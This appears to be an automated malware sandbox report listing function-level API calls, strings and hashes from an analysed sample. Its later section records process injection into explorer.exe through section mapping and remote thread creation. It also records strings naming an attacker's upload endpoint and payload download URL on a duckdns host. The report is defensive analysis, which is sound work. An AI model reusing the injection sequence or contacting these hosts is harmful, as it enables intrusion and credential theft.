API ID: lstrcpy$_memset_wcsrchrconstructlstrcmpi
String ID:
API String ID: 2078099069-0
Opcode ID: 9ab7fae23a6cd178379b9f1f18c38669220ae0b06b42f2b867ea3ad8665003dc
Instruction ID: 3d16b77e17d9a283d974e3b2d9caf2aabd6e780921b8546b30b3bbda698c7617
Opcode Fuzzy Hash: 9ab7fae23a6cd178379b9f1f18c38669220ae0b06b42f2b867ea3ad8665003dc
Instruction Fuzzy Hash: F0416072D002189BCB14DF64CD8CBDEB775EF98304F4086A9E10AB7291DB799A84CF58

Function 00422E80 Relevance: 6.1, APIs: 4, Instructions: 62synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?), ref: 00422ED6
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00422EFA
CloseHandle.KERNEL32(?), ref: 00422F1C
CloseHandle.KERNEL32(?), ref: 00422F3E

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: 39f7e74eae33062841a8175173220392bd2f5044482dd973a01b7ec866e0e755
Instruction ID: 806f4d51c55cd5237a4c8eb056a33d06353d7b9500c599e1f4b9eb86b28f91e2
Opcode Fuzzy Hash: 39f7e74eae33062841a8175173220392bd2f5044482dd973a01b7ec866e0e755
Instruction Fuzzy Hash: 4E2180B1600104ABDB4CCF48E7D8B7CBBB5EB95308F5610AFD10AAF6A1C7749981DB18

Function 00430723 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00430749

Part of subcall function 00430575: __fltout2.LIBCMT ref: 004305A0

__cftog_l.LIBCMT ref: 0043076F
__cftoe_l.LIBCMT ref: 004307A1

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 700365fc3ef55c6608dcef6f61c33953fe9cf20e4b8c489e702210f7e9730dcc
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 1111833240014DBBCF265E84DC62CEE3F22BB0C394F189616FA1858130C73AD972AF85

Function 0041D930 Relevance: 6.0, APIs: 4, Instructions: 46synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 0041D967
CloseHandle.KERNEL32(?), ref: 0041D978
CloseHandle.KERNEL32(?), ref: 0041D985
LocalFree.KERNEL32(00000000), ref: 0041D99F

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLocalObjectSingleWait
String ID:
API String ID: 2545295749-0
Opcode ID: 863dc07376620fff7da24d9174c5540299efa758a59c26d6f6e4e2106d0de0e2
Instruction ID: b3d0a684532f22b24a61b5f16c014b4f3157037c9e20523ee33484da4440396a
Opcode Fuzzy Hash: 863dc07376620fff7da24d9174c5540299efa758a59c26d6f6e4e2106d0de0e2
Instruction Fuzzy Hash: 311109B9E14208EFCB04DF94D988ADEBBB5FF88301F208199E9095B350D734AE85DB55

Function 004157D0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 403COMMON

Download Yara Rule

APIs

Part of subcall function 00421DA0: ___crtGetLocaleInfoEx.LIBCMTD ref: 00421DBD

Part of subcall function 00421A20: ___crtGetLocaleInfoEx.LIBCMTD ref: 00421A3D

_memset.LIBCMT ref: 004158B4
__snwprintf.LIBCMT ref: 004158D2

Strings

SOFTWARE\%s, xrefs: 004158C1

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: InfoLocale___crt$__snwprintf_memset
String ID: SOFTWARE\%s
API String ID: 2629772119-297323700
Opcode ID: 08fdabdd88a08ad3748058d96fb195c2a0972b770053efd6c9ddf30f98aba3c1
Instruction ID: cea314f64e5e40574c56c82fe0e1a28e51779384d737c773d0872d5a6df9b95d
Opcode Fuzzy Hash: 08fdabdd88a08ad3748058d96fb195c2a0972b770053efd6c9ddf30f98aba3c1
Instruction Fuzzy Hash: 4B024DB0900618DBEB24DF54DC49FEEB374BB88304F5082AAE219A7291D7745EC5CF69

Function 00417160 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132stringCOMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417195
lstrcpyW.KERNEL32(?,?), ref: 0041725F

Strings

.DLL, xrefs: 00417265

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: _memmovelstrcpy
String ID: .DLL
API String ID: 1936325922-899428287
Opcode ID: 206a35d59d9e2d740689b334e1245c5ab36b3454765dd59f3c4bdf7655c760d5
Instruction ID: c994f9a7622422d88fdc74f0b5569615fd03aa757a2c998ac84d832c9b8b4781
Opcode Fuzzy Hash: 206a35d59d9e2d740689b334e1245c5ab36b3454765dd59f3c4bdf7655c760d5
Instruction Fuzzy Hash: CE514971A04218EBCB25CF94DC88FDDB7B5EB4C300F5085A9F659A7290C6B4AAC4DF58

Function 004178A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 00401C50: _wcsrchr.LIBCMT ref: 00401C5C

_memset.LIBCMT ref: 00417915
__snwprintf.LIBCMT ref: 00417933

Strings

SOFTWARE\%s, xrefs: 00417922

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintf_memset_wcsrchr
String ID: SOFTWARE\%s
API String ID: 2041709146-297323700
Opcode ID: 161eb108a0679f5d3ddfddbe3ccd982563bc54e903ca1800756906d2f2878241
Instruction ID: 6479d5e764fcb64d0c7f3370c6cf7eeb3759984951b727dfcb9730a64198a9bd
Opcode Fuzzy Hash: 161eb108a0679f5d3ddfddbe3ccd982563bc54e903ca1800756906d2f2878241
Instruction Fuzzy Hash: F43184B5A14208BBDB14DBA0DC49FEE7778FF44700F5085A9F509A7280D7799A88CF58

Function 004069F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00406A31
__snwprintf.LIBCMT ref: 00406A4F

Strings

SOFTWARE\%s, xrefs: 00406A3E

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintf_memset
String ID: SOFTWARE\%s
API String ID: 2455478650-297323700
Opcode ID: 5ba5ccad96fceb57a24ead9c0c6bdca8ce5eca305943ad0a8fe1ca6a856502be
Instruction ID: 8c345f43bd84863ed8d839e80dad8bcf226fe1c04e4c0914365b140f81968092
Opcode Fuzzy Hash: 5ba5ccad96fceb57a24ead9c0c6bdca8ce5eca305943ad0a8fe1ca6a856502be
Instruction Fuzzy Hash: CF215E74B44308BBDB20DBA0DC4EFAA7778EF48704F5084A9B609B61C1E7B55A48DB58

Function 00404610 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00404630
__snwprintf.LIBCMT ref: 0040464E

Strings

SOFTWARE\%s, xrefs: 0040463D

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintf_memset
String ID: SOFTWARE\%s
API String ID: 2455478650-297323700
Opcode ID: 421192caa86c426d7e4603242c2833235c156fbefb79f4a68f0577cd9d758480
Instruction ID: f50a489c0aae7273e8ae771a1e99404477289d93a2267ec611ba37a8f37f4417
Opcode Fuzzy Hash: 421192caa86c426d7e4603242c2833235c156fbefb79f4a68f0577cd9d758480
Instruction Fuzzy Hash: 0B11CC75740308BBE720DBA0DC4AFBA7378AF84B00F504569B70CA65C0E6B9AA549799

Function 00405060 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00405080
__snwprintf.LIBCMT ref: 0040509E

Strings

SOFTWARE\%s, xrefs: 0040508D

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintf_memset
String ID: SOFTWARE\%s
API String ID: 2455478650-297323700
Opcode ID: 44b8aa7e25b707e9ab68fc0f49db161d0d079494426bfef0ae8f619570b095de
Instruction ID: 810907f3e6488bf77ea5ec11b213ac1b4f10b15ab591894c8a2340feb0e9f545
Opcode Fuzzy Hash: 44b8aa7e25b707e9ab68fc0f49db161d0d079494426bfef0ae8f619570b095de
Instruction Fuzzy Hash: 4C118875B44308BBE720DBA0DC4AFAB7728EB44B00F504169B70DBA1C1E6F59A44DB9D

Function 00428676 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042959E: DecodePointer.KERNEL32(0043C8B0,00000008,00428C90,E06D7363,1FFFFFFF,19930522,?,0042481B,?,?,?,?,?,00000000,00000000,00000000), ref: 004295B0

Part of subcall function 00429552: __getptd.LIBCMT ref: 0042955E
Part of subcall function 00429552: _abort.LIBCMT ref: 00429580

___TypeMatch.LIBCMT ref: 004286BD

Strings

bad exception, xrefs: 0042869C
csm, xrefs: 004286DA

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: DecodeMatchPointerType__getptd_abort
String ID: bad exception$csm
API String ID: 284225101-1249633139
Opcode ID: 0b6bcc1c17bbd0743a3b509b9db8e4bdde75f2ff7156fed5a729dd991485ddb9
Instruction ID: 036d0ee341f43b6dde09129cd0c20801f7c8771f379164f775a2ba672f5755eb
Opcode Fuzzy Hash: 0b6bcc1c17bbd0743a3b509b9db8e4bdde75f2ff7156fed5a729dd991485ddb9
Instruction Fuzzy Hash: 2F018071B05219AFCB00DFA9E48099DBBB4FF04318F5480AAEC04D7302DB35E945CB59

Function 0042885B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00424A9A: __getptd.LIBCMT ref: 00424AA0
Part of subcall function 00424A9A: __getptd.LIBCMT ref: 00424AB0

__getptd.LIBCMT ref: 0042886A

Part of subcall function 0042928E: __getptd_noexit.LIBCMT ref: 00429291
Part of subcall function 0042928E: __amsg_exit.LIBCMT ref: 0042929E

__getptd.LIBCMT ref: 00428878

Strings

csm, xrefs: 00428886

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: b539d4ac56a18326630a3c3e66a25a22088bc947c12ff966933e7d030b28235b
Instruction ID: 0d246e1c7647cd66f0475fb7c6c5131747531dd188f062191e47b90da6a84a47
Opcode Fuzzy Hash: b539d4ac56a18326630a3c3e66a25a22088bc947c12ff966933e7d030b28235b
Instruction Fuzzy Hash: 9C012434A02225DACF34AF75E4406AEB3B5AF10311FE4486FE44196791DF389980DB59

Function 0042832F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,00428368,00000000,00000000,00000000,00000000,00000000,0042EB57,?,0042A98C,00000003,0042D754,0043C9D0,0000000C,0042D810,00405B83), ref: 0042833A
__invoke_watson.LIBCMT ref: 00428356

Strings

BWB, xrefs: 0042834A

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: DecodePointer__invoke_watson
String ID: BWB
API String ID: 4034010525-3782699923
Opcode ID: a1caaad592fa34f26481d55f137f108f7716ebe80e2a6b6d49935f99d5524c00
Instruction ID: 98f8f152122dd42cc451d7698d7a8a267dea8e09b4c4ed78da15ec27e8bb817c
Opcode Fuzzy Hash: a1caaad592fa34f26481d55f137f108f7716ebe80e2a6b6d49935f99d5524c00
Instruction Fuzzy Hash: 98E0B63220014DBBCF126FA2AC099AE3A6AAF44750B940469FD1484521DB3BD871EB98

Function 0041C6CD Relevance: 5.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0041C988
CloseHandle.KERNEL32(?), ref: 0041C99D
CloseHandle.KERNEL32(?), ref: 0041C9BD
CloseHandle.KERNEL32(?), ref: 0041C9DD

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLocal
String ID:
API String ID: 2513001865-0
Opcode ID: 95f2d89126de09528606904b127f85e58ef1d5f2467f5d375e8ba34d0f88afc0
Instruction ID: 34822efe1b2a9de4f798515a86956e1406f31bfdf5beae7afcbbd5c0a8db365f
Opcode Fuzzy Hash: 95f2d89126de09528606904b127f85e58ef1d5f2467f5d375e8ba34d0f88afc0
Instruction Fuzzy Hash: 73F0E7B6269200CBD3A8CFA4ED8CBDA77B5E785305F10407AD51B422A0C77858CDDB19

Function 0041C6F1 Relevance: 5.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0041C988
CloseHandle.KERNEL32(?), ref: 0041C99D
CloseHandle.KERNEL32(?), ref: 0041C9BD
CloseHandle.KERNEL32(?), ref: 0041C9DD

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLocal
String ID:
API String ID: 2513001865-0
Opcode ID: a75f2d1bb2743436d940e3abceb4b60f0ba55c646f9781cfafbd897f512c2d85
Instruction ID: 34822efe1b2a9de4f798515a86956e1406f31bfdf5beae7afcbbd5c0a8db365f
Opcode Fuzzy Hash: a75f2d1bb2743436d940e3abceb4b60f0ba55c646f9781cfafbd897f512c2d85
Instruction Fuzzy Hash: 73F0E7B6269200CBD3A8CFA4ED8CBDA77B5E785305F10407AD51B422A0C77858CDDB19

Function 0041C717 Relevance: 5.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0041C988
CloseHandle.KERNEL32(?), ref: 0041C99D
CloseHandle.KERNEL32(?), ref: 0041C9BD
CloseHandle.KERNEL32(?), ref: 0041C9DD

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLocal
String ID:
API String ID: 2513001865-0
Opcode ID: c3b0eb91f741efb3bcda686cd5d759f91907120e7356ca82b976fb4c33612c43
Instruction ID: 34822efe1b2a9de4f798515a86956e1406f31bfdf5beae7afcbbd5c0a8db365f
Opcode Fuzzy Hash: c3b0eb91f741efb3bcda686cd5d759f91907120e7356ca82b976fb4c33612c43
Instruction Fuzzy Hash: 73F0E7B6269200CBD3A8CFA4ED8CBDA77B5E785305F10407AD51B422A0C77858CDDB19

Analysis Process: explorer.exePID: 5060, Parent PID: 2892COMMON

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.6%
Total number of Nodes:	1612
Total number of Limit Nodes:	47

Executed Functions

Function 011A0740 Relevance: 145.7, APIs: 60, Strings: 23, Instructions: 432
nativestringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 011A0814
GetModuleHandleW.KERNEL32 ref: 011A0830
GetProcAddress.KERNEL32 ref: 011A084D
GetProcAddress.KERNEL32 ref: 011A086A
GetProcAddress.KERNEL32 ref: 011A0887
GetProcAddress.KERNEL32 ref: 011A08A4
GetProcAddress.KERNEL32 ref: 011A08C1
GetCurrentProcess.KERNEL32 ref: 011A08CF
NtCreateSection.NTDLL ref: 011A09B7
GetCurrentProcess.KERNEL32 ref: 011A09EA
NtMapViewOfSection.NTDLL ref: 011A0A3D
NtMapViewOfSection.NTDLL ref: 011A0AB3
NtCreateSection.NTDLL ref: 011A0B32
GetCurrentProcess.KERNEL32 ref: 011A0B68
NtMapViewOfSection.NTDLL ref: 011A0BBB
NtMapViewOfSection.NTDLL ref: 011A0C31
LoadLibraryW.KERNEL32 ref: 011A0C81
GetProcAddress.KERNEL32 ref: 011A0C9E
GetProcAddress.KERNEL32 ref: 011A0CBE
lstrcpyW.KERNEL32 ref: 011A0CE6
lstrcpyW.KERNEL32 ref: 011A0D04
lstrcpyA.KERNEL32 ref: 011A0D22
lstrcpyA.KERNEL32 ref: 011A0D40
lstrcpyA.KERNEL32 ref: 011A0D5E
lstrcpyA.KERNEL32 ref: 011A0D7C
lstrcpyA.KERNEL32 ref: 011A0D9A
lstrcpyA.KERNEL32 ref: 011A0DB8
lstrcpyA.KERNEL32 ref: 011A0DD6
lstrcpyA.KERNEL32 ref: 011A0DF4
lstrcpyA.KERNEL32 ref: 011A0E12
NtCreateSection.NTDLL ref: 011A0E76
GetCurrentProcess.KERNEL32 ref: 011A0EAC
NtMapViewOfSection.NTDLL ref: 011A0EFF
NtMapViewOfSection.NTDLL ref: 011A0F75
CreateEventW.KERNEL32 ref: 011A0FF9
RtlCreateUserThread.NTDLL ref: 011A1071
WaitForSingleObject.KERNEL32 ref: 011A10C9
NtUnmapViewOfSection.NTDLL ref: 011A10F4
NtUnmapViewOfSection.NTDLL ref: 011A1107
NtUnmapViewOfSection.NTDLL ref: 011A111A
NtUnmapViewOfSection.NTDLL ref: 011A1130
NtUnmapViewOfSection.NTDLL ref: 011A1146
NtUnmapViewOfSection.NTDLL ref: 011A115C
NtClose.NTDLL ref: 011A116A
NtClose.NTDLL ref: 011A1178
NtClose.NTDLL ref: 011A1186
CloseHandle.KERNEL32 ref: 011A1194
TerminateProcess.KERNEL32 ref: 011A11AD
CloseHandle.KERNEL32 ref: 011A11B8
CloseHandle.KERNEL32 ref: 011A11C3
CloseHandle.KERNEL32 ref: 011A11EB
NtUnmapViewOfSection.NTDLL ref: 011A1201
NtClose.NTDLL ref: 011A120F
NtUnmapViewOfSection.NTDLL ref: 011A1225
NtClose.NTDLL ref: 011A1233
NtUnmapViewOfSection.NTDLL ref: 011A1249
NtClose.NTDLL ref: 011A1257
TerminateProcess.KERNEL32 ref: 011A126B
CloseHandle.KERNEL32 ref: 011A1276
CloseHandle.KERNEL32 ref: 011A1281

Strings

@, xrefs: 011A0B12
NtCreateSection, xrefs: 011A083E
@, xrefs: 011A0BE2
MessageBoxW, xrefs: 011A0DEA
VirtualProtect, xrefs: 011A0E08
RtlCreateUserThread, xrefs: 011A0878
VirtualFree, xrefs: 011A0DCC
h, xrefs: 011A0774
LocalFree, xrefs: 011A0D90
USER32.DLL, xrefs: 011A0CFA
NtClose, xrefs: 011A08B2
CloseHandle, xrefs: 011A0DAE
NTDLL.DLL, xrefs: 011A0829
NtUnmapViewOfSection, xrefs: 011A0895
NtMapViewOfSection, xrefs: 011A085B
LocalAlloc, xrefs: 011A0D54
GetProcAddress, xrefs: 011A0CAF
KERNEL32.DLL, xrefs: 011A0C7A
LoadLibraryW, xrefs: 011A0C8F
KERNEL32.DLL, xrefs: 011A0CDC
Sleep, xrefs: 011A0D18
LoadLibraryA, xrefs: 011A0D36
VirtualAlloc, xrefs: 011A0D72

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Section$View$Close$lstrcpy$Unmap$AddressHandleProcProcess$Create$Current$Terminate$EventLibraryLoadModuleObjectSingleThreadUserWait
String ID: @$@$CloseHandle$GetProcAddress$KERNEL32.DLL$KERNEL32.DLL$LoadLibraryA$LoadLibraryW$LocalAlloc$LocalFree$MessageBoxW$NTDLL.DLL$NtClose$NtCreateSection$NtMapViewOfSection$NtUnmapViewOfSection$RtlCreateUserThread$Sleep$USER32.DLL$VirtualAlloc$VirtualFree$VirtualProtect$h
API String ID: 1065732154-2887914861
Opcode ID: d22ddcdab2ec187a5051f8031a5281a0f50d3b2f8a6a42ef61a701425755e042
Instruction ID: 57709f440208d6c4048e9c81c43c9bc77cdd70afe6bcee287b52ecd5518e5b1a
Opcode Fuzzy Hash: d22ddcdab2ec187a5051f8031a5281a0f50d3b2f8a6a42ef61a701425755e042
Instruction Fuzzy Hash: 95529E76208BC486E775DB15F4983DAB7A0F7C8798F50012ADA8A47B68DF7DC189CB40

Function 011B5E50 Relevance: 89.6, APIs: 48, Strings: 3, Instructions: 308
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventW.KERNEL32 ref: 011B5E6A
OpenMutexW.KERNEL32 ref: 011B5EA1
CreateEventW.KERNEL32 ref: 011B5F2F
WaitForSingleObject.KERNEL32 ref: 011B5F99
CloseHandle.KERNEL32 ref: 011B6441
ReleaseMutex.KERNEL32 ref: 011B645F
CloseHandle.KERNEL32 ref: 011B646A
CloseHandle.KERNEL32 ref: 011B647D
CloseHandle.KERNEL32 ref: 011B6488

Strings

{B4EFAA26-FFCE-43F3-A2CA-51585A1D8497}, xrefs: 011B5ED7
{29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}, xrefs: 011B5E5C
{CCDA2DA7-D4F8-4F83-BFB6-45A8FDBB92EB}, xrefs: 011B5E93

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventMutexOpen$CreateObjectReleaseSingleWait
String ID: {29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}${B4EFAA26-FFCE-43F3-A2CA-51585A1D8497}${CCDA2DA7-D4F8-4F83-BFB6-45A8FDBB92EB}
API String ID: 385723476-3335872644
Opcode ID: a2d0ff3b073e106ed3e089b8a847fad09ce9971624778b037ba3c996cbbe071a
Instruction ID: 2c3827eaaab6f433bba0666915ffa6cd0251f5869941a631bfbbd38712888a6a
Opcode Fuzzy Hash: a2d0ff3b073e106ed3e089b8a847fad09ce9971624778b037ba3c996cbbe071a
Instruction Fuzzy Hash: 3AF11C31508A40C6F76CAF55F8987DAB7A1F7D4759F105129E78A82AB8CF7CC48ACB01

Function 011953B0 Relevance: 63.3, APIs: 25, Strings: 11, Instructions: 310
stringencryptionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32 ref: 011953C7
lstrcpyW.KERNEL32 ref: 011953F6
lstrcpyW.KERNEL32 ref: 01195413
lstrcpyW.KERNEL32 ref: 01195430
lstrcpyW.KERNEL32 ref: 0119544D
lstrcpyW.KERNEL32 ref: 0119546A
lstrcpyW.KERNEL32 ref: 01195487
lstrcpyW.KERNEL32 ref: 011954A4
CryptBinaryToStringW.CRYPT32 ref: 011955E2
CryptBinaryToStringW.CRYPT32 ref: 0119560D
LocalFree.KERNEL32 ref: 01195A17
LocalFree.KERNEL32 ref: 01195A2E
CloseHandle.KERNEL32 ref: 01195A41
CloseHandle.KERNEL32 ref: 01195A54

Strings

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0, xrefs: 01195443, 011956FE
{D83724BA-04CE-4C5A-92C0-4EFDCB8527B7}, xrefs: 01195426, 01195890
http://jholo.duckdns.org:8181/PASSWORDRECOVERY64EXE.EXE, xrefs: 01195723
http://jholo.duckdns.org:8181/upload.php, xrefs: 0119547D
{77502BD7-F094-4214-B203-3420A1B5DA5A}, xrefs: 011953E8
{2046C745-B848-47EE-8068-B039EAC15A1C}, xrefs: 01195863
%s %s, xrefs: 01195877
{80B01CD6-9400-4D04-9C3F-8E33F208D7F0}, xrefs: 0119549A
{CCDA2DA7-D4F8-4F83-BFB6-45A8FDBB92EB}, xrefs: 01195409
HWID_%s, xrefs: 0119564F
8DWH9, xrefs: 01195460

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcpy$Local$BinaryCloseCryptFreeHandleString$Alloc
